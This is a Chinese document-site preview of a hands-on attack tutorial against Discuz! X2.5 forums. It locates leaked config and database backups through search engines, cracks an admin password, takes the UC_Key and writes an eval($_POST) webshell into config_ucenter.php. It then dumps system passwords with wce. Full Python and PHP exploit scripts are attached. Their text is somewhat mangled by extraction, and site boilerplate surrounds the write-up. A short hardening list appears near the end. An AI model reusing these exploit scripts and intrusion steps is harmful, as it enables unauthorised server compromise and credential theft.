实战UC_Key获取Discuzx2.5论坛Webshell_第1页
实战UC_Key获取Discuzx2.5论坛Webshell_第2页
实战UC_Key获取Discuzx2.5论坛Webshell_第3页
实战UC_Key获取Discuzx2.5论坛Webshell_第4页
实战UC_Key获取Discuzx2.5论坛Webshell_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、实战UC_Key获取Discuz!x2.5论坛Webshellsimeon路人甲在乌云漏洞平台公布了Discuz的利用UC_KEY进行getshel的文章(/bugs/wooyun-2014-048137),随机网上公开了两套通过uc_key获取Webshell的代码,虽然最终也成功获取了Webshell,在获取Webshell过程中有一些经验值得分享。uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此使用uc_key只能获取UCenter Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有U

2、Center Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key来将服务器上的数据并重置用户口令,下面将如何测试网上公布的0day和实战过程进行分享。1.测试网上公布的0day代码通过在搜索引擎中检索“uc_key”关键词,可以方便的获取一些通过uc_key获取webshell的文章,通过查看文章顺利获取0day代码。1.1测试误区 下载到uc_key.php和uc_key.py代码后,首先通过程序uc_key.py进行编译执行,结果出现错误提示:“IndexError: list index out of range”。通过搜索错误提示,也没有找

3、到解决错误的方法。后面直接执行“python uc_key.py ”命令则可以顺利执行。图1测试uc_key.py出错1.2 uc_key.php测试 1.获取uc_key值获取uc_key可以通过“configconfig_ucenter.php”文件获取,也可以通过登录后台获取,如图2所示。单击“站长”-“Ucenter设置”,复制“Ucenter通信密钥”中的值即可。图2获取uc_key值 2.获取webshell对最新版本X3.1测试过程中,发现如果系统开启了防水墙会禁止危险脚本访问,如图3所示,对利用代码进行屏蔽和阻止,导致Webshell获取失败。如果数据库没有开

4、启也会出现上面的错误提示。如果在最后的结果中出现提示“1”,如图4所示,则表示获取webshell成功。图3获取Webshell失败图4获取webshell成功 对于X25系列,则可以轻松获取Webshell,执行命令“php uc_key.php”命令后,会直接修改“configconfig_ucenter.php”,如图5所示。密码为1图5修改配置文件获取webshell通过uc_key.php获取webshell,每次都需要修改uc_key.php中的host和uc_key值,使用起来不太方便,而通过uc_key.py则方便很多,如图6所示,通过执行python uc_key.py ho

5、st uc_key值,可以直接获取webshell。图6通过uc_key.py获取webshell1.2实战网上获取Webshell 1.搜索敏感配置文件在google中输入“config/config_global.php.bak”、“config/config_ucenter.php.bak”,如图7所示,对搜素结果进行分析和整理。在搜索过程中可以加入“index of”获取敏感信息。图7google搜索敏感信息2.查看搜索结果 在搜索结果中获取“/edusite/config”,该结果明显存在文件路径泄漏漏洞,如图8所示,单击文件链接,尝试能否获取文件的具体内容

6、,经过测试,发现无法获取文件内容,对bak文件无法下载或者查看,直接获取uc_key值再此处行不通。图8获取敏感文件泄漏漏洞3.获取数据库备份文件 对该站点存在的数据库地址进行浏览和查看,如图9所示,管理员对网站数据进行过备份,单击可以直接下载。图9下载数据库4.破解管理员密码下载后120903_dl8Ni1-1.sql文件后,将该数据库备份文件导入本地mysql数据库,进行查看,如图10所示,获取用户的密码等信息,对管理帐号通过cmd5网站进行破解,如图11所示,密码为“admin”,简直无语。图10获取用户密码等信息图11获取管理员密码5.获取uc_key值 如图12所示,通过后台管理系统

7、,获取uc_key通信密钥值。图12获取uc_key值6.获取webshell将该值通过“php uc_key.php”或者“python uc_key.py uc_key”进行漏洞利用,成功获取webshell。如图13所示。通过webshell可以看出该网站曾经被人入侵过,入侵者留了一个大马。图13成功获取webshell7.获取服务器系统管理员帐号 通过webshell命令提示符,如图14所示,执行“whoami”命令得知脚本为system权限,上次wce.exe,通过“wce w”直接获取系统管理员密码。图14获取系统管理员账号8. 防范与总结Discuz!论坛

8、在安装成功后可以通过以下一些设置加强论坛的安全:(1)严格设置论坛目录权限,例如“D:ComsenzEXPwwwrootconfig”设置为没有写入权限。(2)Apache+PHP+Mysql平台授予最低权限,不要授予system权限。可以通过webshell进行测试。(3)备份数据库后,要及时下载并删除数据库备份文件。(4)设置强健的管理员密码,安全验证问题和答案。(5)关注最新Discuz!论坛漏洞和利用方法,及时更新补丁程序。9.附件程序源代码1.uc_key.py#! /usr/bin/env python#coding=utf-8import hashlibimport timeim

9、port mathimport base64import urllibimport urllib2import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time() def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.m

10、d5(key0:16).hexdigest() keyb = hashlib.md5(key16:32).hexdigest() keyc = (hashlib.md5(microtime().hexdigest()-ckey_length: #keyc = (hashlib.md5('0.736000 1389448306').hexdigest()-ckey_length: cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000

11、000' + (hashlib.md5(string+keyb).hexdigest()0:16+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkeyi = ord(cryptkeyi % key_length) j=0 for i in range(0,256): j = (j + boxi + rndkeyi) % 256 tmp = boxi boxi = boxj boxj = tmp a=0

12、 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + boxa) % 256 tmp = boxa boxa = boxj boxj = tmp result += chr(ord(stringi) (box(boxa + boxj) % 256) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell '

13、'' headers='Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url tm = time.time()+10*3600 tm="time=%d&action=update

14、apps" %tm code = urllib.quote(get_authcode(tm,key) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http:/xxx');eval($_POST1);/</item> </root>'''

15、try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "访问出错" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http:/aaa</item> </root>''&#

16、39; try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" return "webshell:"+host+"/config/config_ucenter.php,password:1" if _name_ = '_main_': host=sys.argv1 key=sys.argv2 url=host+"/api/uc.php" print

17、 get_shell(url,key,host)2.uc_key.php<?php/ 代码版权归原作者所有! $timestamp = time()+10*3600; $host="" $uc_key="0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46" $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_k

18、ey); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http:/xxx');eval($_POSTb);/</item></root>' $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id=

19、"UC_API">http:/aaa</item></root>' $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd) global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1rn" $message .= "Accept: */*rn" $message .= &

20、quot;Referer: ".$host."rn" $message .= "Accept-Language: zh-cnrn" $message .= "Content-Type: application/x-www-form-urlencodedrn" $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn" $message .= "Host: ".$host.&qu

21、ot;rn" $message .= "Content-Length: ".strlen($cmd)."rn" $message .= "Connection: Closernrn" $message .= $cmd; /var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = '' while ($fp && !feof($fp) $resp .= fread($fp, 1024); retur

22、n $resp; function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16); $keyb = md5(substr($key, 16, 16); $keyc = $ckey_length ? ($operation = 'DECODE' ? substr($string, 0, $ckey_

23、length): substr(md5(microtime(), -$ckey_length) : '' $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation = 'DECODE' ? base64_decode(substr($string, $ckey_length) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = '

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论